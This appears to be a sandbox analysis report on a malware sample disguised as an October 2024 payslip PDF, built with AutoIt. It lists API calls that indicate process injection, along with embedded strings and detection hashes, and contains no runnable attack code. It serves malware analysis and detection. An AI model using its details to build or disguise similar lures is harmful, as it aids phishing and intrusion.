Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 82c8e861e083e4ba1dccb9e2bf86a51e6def37fb3b5df2fc453f189c461087a6
Instruction ID: 4ce4ab1d012d1107493927c46f7f4b870e12e9a8b302c3ab377a409afccffd3d
Opcode Fuzzy Hash: 82c8e861e083e4ba1dccb9e2bf86a51e6def37fb3b5df2fc453f189c461087a6
Instruction Fuzzy Hash: 17F0DA716413907EEB3117276C59E672E7DD7CAF50B00413AF904E2370C6E55851DAB4

Function 0130A160 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 158
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0130A050: Sleep.KERNELBASE(000001F4), ref: 0130A061

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0130A2C0

Strings

J27BHZM4IVPMVLEM, xrefs: 0130A323, 0130A326

Memory Dump Source

Source File: 00000000.00000002.1673906698.0000000001307000.00000040.00000020.00020000.00000000.sdmp, Offset: 01307000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1307000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CreateFileSleep
String ID: J27BHZM4IVPMVLEM
API String ID: 2694422964-1036367812
Opcode ID: e6c060552f3c28606f422cbbf8720a8433e68f0f62ee176e8ba3d5605567ae6e
Instruction ID: c9179aade5025f721a5b39c0c324f91b0875071268ee0ce46e4c9cc0cc11ab66
Opcode Fuzzy Hash: e6c060552f3c28606f422cbbf8720a8433e68f0f62ee176e8ba3d5605567ae6e
Instruction Fuzzy Hash: 4E618130D04348DBEF11DBB4D854BEEBBB9AF18304F004599E248BB2C0D7BA5A45CB65

Function 00CC564D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00CC56AB
_memcpy_s.LIBCMT ref: 00CC571D
__read_nolock.LIBCMT ref: 00CC577B
__filbuf.LIBCMT ref: 00CC579E
_memset.LIBCMT ref: 00CC57E2

Part of subcall function 00CC8D68: __getptd_noexit.LIBCMT ref: 00CC8D68

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction ID: 131b571402540cf82cbf887825b4e33f02344a5a63eb1c1eae82f186897404cb
Opcode Fuzzy Hash: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction Fuzzy Hash: 5C518D70A10B05DBDB249FA9C884FAEB7B5AF40320F64876DF835962D0D771AED19B40

Function 00CA69CA Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CA4F3D: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00D662F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00CA4F6F

_free.LIBCMT ref: 00CDE68C
_free.LIBCMT ref: 00CDE6D3

Part of subcall function 00CA6BEC: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00CA6D0D

Strings

Bad directive syntax error, xrefs: 00CDE6BB
>>>AUTOIT SCRIPT<<<, xrefs: 00CDE462

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 1edd71b71fa662ba1e11ca0e0db193e5fc385633a928e605bbbb4050fea26c82
Instruction ID: 6e9c81ea5e91f962f1af22cb9ba26e5d24cf3abc567542c27781e15ac0f9f593
Opcode Fuzzy Hash: 1edd71b71fa662ba1e11ca0e0db193e5fc385633a928e605bbbb4050fea26c82
Instruction Fuzzy Hash: 43915C7191021AAFCF04EFA5CC919EDB7B4FF19314F14446AF916AB291EB30EA05DB60

Function 00CA35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00CA35A1,SwapMouseButtons,00000004,?), ref: 00CA35D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00CA35A1,SwapMouseButtons,00000004,?,?,?,?,00CA2754), ref: 00CA35F5
RegCloseKey.KERNELBASE(00000000,?,?,00CA35A1,SwapMouseButtons,00000004,?,?,?,?,00CA2754), ref: 00CA3617

Strings

Control Panel\Mouse, xrefs: 00CA35D2

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: d12faede71ee39294a2e4aa3d1286cd73fbb08be709239f40fb3378da6855db4
Instruction ID: 8d03721489b5fe517661ae1ad2987c28957058569656083a59972154963da2a6
Opcode Fuzzy Hash: d12faede71ee39294a2e4aa3d1286cd73fbb08be709239f40fb3378da6855db4
Instruction Fuzzy Hash: 38113671910249BADB208FA4D850EEAB7B8EF55744F00446AB805D7210E2719F419B64

Function 01309050 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 0130987D
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 013098A1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 013098C3

Memory Dump Source

Source File: 00000000.00000002.1673906698.0000000001307000.00000040.00000020.00020000.00000000.sdmp, Offset: 01307000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1307000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: e235fc09ec9bfc9c0206b74767dc68ebb1ba0de80392d7b4ec5f78f608a2290d
Instruction ID: 7ce7fd4f043da253f6daaef31a455036c0dae39a53c95ff87b13c7358f06dd64
Opcode Fuzzy Hash: e235fc09ec9bfc9c0206b74767dc68ebb1ba0de80392d7b4ec5f78f608a2290d
Instruction Fuzzy Hash: 85621A30A14618DBEB24CBA4C850BDEB7B6EF58304F1091A9D10DEB3D1E7769E81CB59

Function 00D097E5 Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00CA5045: _fseek.LIBCMT ref: 00CA505D

Part of subcall function 00D099BE: _wcscmp.LIBCMT ref: 00D09AAE
Part of subcall function 00D099BE: _wcscmp.LIBCMT ref: 00D09AC1

_free.LIBCMT ref: 00D0992C
_free.LIBCMT ref: 00D09933
_free.LIBCMT ref: 00D0999E

Part of subcall function 00CC2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,00CC9C64), ref: 00CC2FA9
Part of subcall function 00CC2F95: GetLastError.KERNEL32(00000000,?,00CC9C64), ref: 00CC2FBB

_free.LIBCMT ref: 00D099A6

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: eaf932a86a81d867435c3a7df9f8d818ec1af798f7611f86fee1fbdf42d9e3cd
Instruction ID: 7cefd03955324053e4ac4a4eedbb8e40449b74cd01dea822cfca491080d49961
Opcode Fuzzy Hash: eaf932a86a81d867435c3a7df9f8d818ec1af798f7611f86fee1fbdf42d9e3cd
Instruction Fuzzy Hash: 87516FB1904218AFDF249F64DC41B9EBB79EF48300F0444AEF24DA7281DB715A80DF68

Function 00CC493A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CC49D0
__flush.LIBCMT ref: 00CC49F0
__write.LIBCMT ref: 00CC4A23
__flsbuf.LIBCMT ref: 00CC4A51

Part of subcall function 00CC8D68: __getptd_noexit.LIBCMT ref: 00CC8D68

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction ID: 2cd11d02b2799b78cfb2fd0a5c6595d31840fb43c9d3f8b8e8c88e5ca702aa6d
Opcode Fuzzy Hash: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction Fuzzy Hash: F541B571A406169BDF2CCEA9C8A0FAF77AAEF80360B24C17DE865C7650D770DE419B44

Function 00CA73E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CDEE62
GetOpenFileNameW.COMDLG32(?), ref: 00CDEEAC

Part of subcall function 00CA48AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00CA48A1,?,?,00CA37C0,?), ref: 00CA48CE

Part of subcall function 00CC09D5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00CC09F4

Strings

X, xrefs: 00CDEE7A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: e3af7c1ac6caabf5c2cef328294095514ecaaeb04cc4013bc8cbaec5f2351c15
Instruction ID: 53fd40ef97a08f78990097b5c180b86cb37532b1c110927580b47c2b5646f00a
Opcode Fuzzy Hash: e3af7c1ac6caabf5c2cef328294095514ecaaeb04cc4013bc8cbaec5f2351c15
Instruction Fuzzy Hash: 9E21A4719002589BCF119F94DC45BEE7BF8AF49305F04405AE908E7381DBB8594A9FA1

Function 00D0901B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D09036
__fread_nolock.LIBCMT ref: 00D0904B

Strings

EA06, xrefs: 00D0907D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: fcf7762c29ddc2b7886a67454ad8ca546dfe2e7f09379c60aaac5ffa548c3cb6
Instruction ID: 8b2822653e94f87d82257602ac626df797a0f06fd309b247e625850b9e92a29c
Opcode Fuzzy Hash: fcf7762c29ddc2b7886a67454ad8ca546dfe2e7f09379c60aaac5ffa548c3cb6
Instruction Fuzzy Hash: 9201F9718042186EDB28C6A8C816FEEBBF89B01301F00419EF556D21C1E575E6089760

Function 00D09B6D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00D09B82
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00D09B99

Strings

aut, xrefs: 00D09B93

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 8833c44d43c611cf17007a35a17ba3860b56c24afffa4439d9230178ca1e57d7
Instruction ID: 332d50c4a84a8ead87633fb069da49b2750fe970b66e54808823e8a17cffbe42
Opcode Fuzzy Hash: 8833c44d43c611cf17007a35a17ba3860b56c24afffa4439d9230178ca1e57d7
Instruction Fuzzy Hash: 43D02E3944030DABCB209B90DC0EF9A773CEB00700F0006B0BF54C12A1DEB055998BB5

Function 00D1CDF1 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e0118f49ec8da26876f74fc88825aa1283a3f72e3724128c0ea1d52cc659e66
Instruction ID: 8476b48db9de430299ca1e7f15ebb1a9141b43551597695b63763e8d71ce49b0
Opcode Fuzzy Hash: 0e0118f49ec8da26876f74fc88825aa1283a3f72e3724128c0ea1d52cc659e66
Instruction Fuzzy Hash: 30F15B70608301AFC714DF28D481A6ABBE5FF89314F14892EF8999B351DB31E945CFA2

Function 00CAF8CF Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00CC03A2: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00CC03D3
Part of subcall function 00CC03A2: MapVirtualKeyW.USER32(00000010,00000000), ref: 00CC03DB
Part of subcall function 00CC03A2: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00CC03E6
Part of subcall function 00CC03A2: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00CC03F1
Part of subcall function 00CC03A2: MapVirtualKeyW.USER32(00000011,00000000), ref: 00CC03F9
Part of subcall function 00CC03A2: MapVirtualKeyW.USER32(00000012,00000000), ref: 00CC0401

Part of subcall function 00CB6259: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00CAFA90), ref: 00CB62B4

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00CAFB2D
OleInitialize.OLE32(00000000), ref: 00CAFBAA
CloseHandle.KERNEL32(00000000), ref: 00CE49F2

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 029b6206b35aa8d933e6a1e5d947e4a8a7b80d557e75f9f8c46491a691be096c
Instruction ID: 8aee1fd524abd0de6601f7f85ab283f1f4035d6da2da3a49cd9a3fa013e89c62
Opcode Fuzzy Hash: 029b6206b35aa8d933e6a1e5d947e4a8a7b80d557e75f9f8c46491a691be096c
Instruction Fuzzy Hash: 1B8196B09093419FC384EF6AE951615BBE4FB99708B14863ED019C7362EBB1E4058FB1

Function 00CC594C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00CC5963

Part of subcall function 00CCA3AB: __NMSG_WRITE.LIBCMT ref: 00CCA3D2
Part of subcall function 00CCA3AB: __NMSG_WRITE.LIBCMT ref: 00CCA3DC

__NMSG_WRITE.LIBCMT ref: 00CC596A

Part of subcall function 00CCA408: GetModuleFileNameW.KERNEL32(00000000,00D643BA,00000104,?,00000001,00000000), ref: 00CCA49A
Part of subcall function 00CCA408: ___crtMessageBoxW.LIBCMT ref: 00CCA548

Part of subcall function 00CC32DF: ___crtCorExitProcess.LIBCMT ref: 00CC32E5
Part of subcall function 00CC32DF: ExitProcess.KERNEL32 ref: 00CC32EE

Part of subcall function 00CC8D68: __getptd_noexit.LIBCMT ref: 00CC8D68

RtlAllocateHeap.NTDLL(00F90000,00000000,00000001,00000000,?,?,?,00CC1013,?), ref: 00CC598F

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 730a6cea2ca0a14a831b6e70bdab281ef888a3ba931195b61d1058f95cc3d399
Instruction ID: 5dab3523fa05456029b72d4a430b5897fb37b1b2ee4c51f805abf23e8e309db4
Opcode Fuzzy Hash: 730a6cea2ca0a14a831b6e70bdab281ef888a3ba931195b61d1058f95cc3d399
Instruction Fuzzy Hash: 9D01F531200B16DEE6212B65EC52F2E72588F52B30F10006EF411DA2C1DEB0EE829774

Function 00D09B2C Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00D097D2,?,?,?,?,?,00000004), ref: 00D09B45
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00D097D2,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00D09B5B
CloseHandle.KERNEL32(00000000,?,00D097D2,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00D09B62

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 78d3fc000312362c8084d19c0d3f7e0d3e42fa153b36bba14d6607f99bd34728
Instruction ID: b4ef64e5bf1ec382cb8e6a5a5396f8f7a0b39096cc8e9d1845e4333cd9f60cd8
Opcode Fuzzy Hash: 78d3fc000312362c8084d19c0d3f7e0d3e42fa153b36bba14d6607f99bd34728
Instruction Fuzzy Hash: 27E08632580314B7D7321B54EC0AFCA7B28AB15771F144630FB14A91E087B1252297A8

Function 00D08F97 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D08FA5

Part of subcall function 00CC2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,00CC9C64), ref: 00CC2FA9
Part of subcall function 00CC2F95: GetLastError.KERNEL32(00000000,?,00CC9C64), ref: 00CC2FBB

_free.LIBCMT ref: 00D08FB6
_free.LIBCMT ref: 00D08FC8

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 180ac2cc07007adee99720b26c657bf09b4177bae862674a470a9d0e5fc62c6e
Instruction ID: 2311cf559df50cdfc22979073fd29072e84fe7c9eb93143a8485e3aa917d0663
Opcode Fuzzy Hash: 180ac2cc07007adee99720b26c657bf09b4177bae862674a470a9d0e5fc62c6e
Instruction Fuzzy Hash: 21E012A16097164ACA24B5B8ED40F935BEE5F8836071C081DF54DDB182DE24E841B134

Function 00CAAB23 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 00CE002B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: bf0b0d80226c3e89145cba8127a261b4b5835e8f91a8eed5b6401f4027c7eb07
Instruction ID: 948d50a2d5e707ce5d31fffd3b1ea154e4444766fdb366196c95ae278a7f69bb
Opcode Fuzzy Hash: bf0b0d80226c3e89145cba8127a261b4b5835e8f91a8eed5b6401f4027c7eb07
Instruction Fuzzy Hash: 28224770508342DFC724DF15C494B6ABBE1BF86308F24895DE8968B362D771ED81DB92

Function 00CA4DD0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CA4E1A

Strings

EA06, xrefs: 00CDDCF5

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
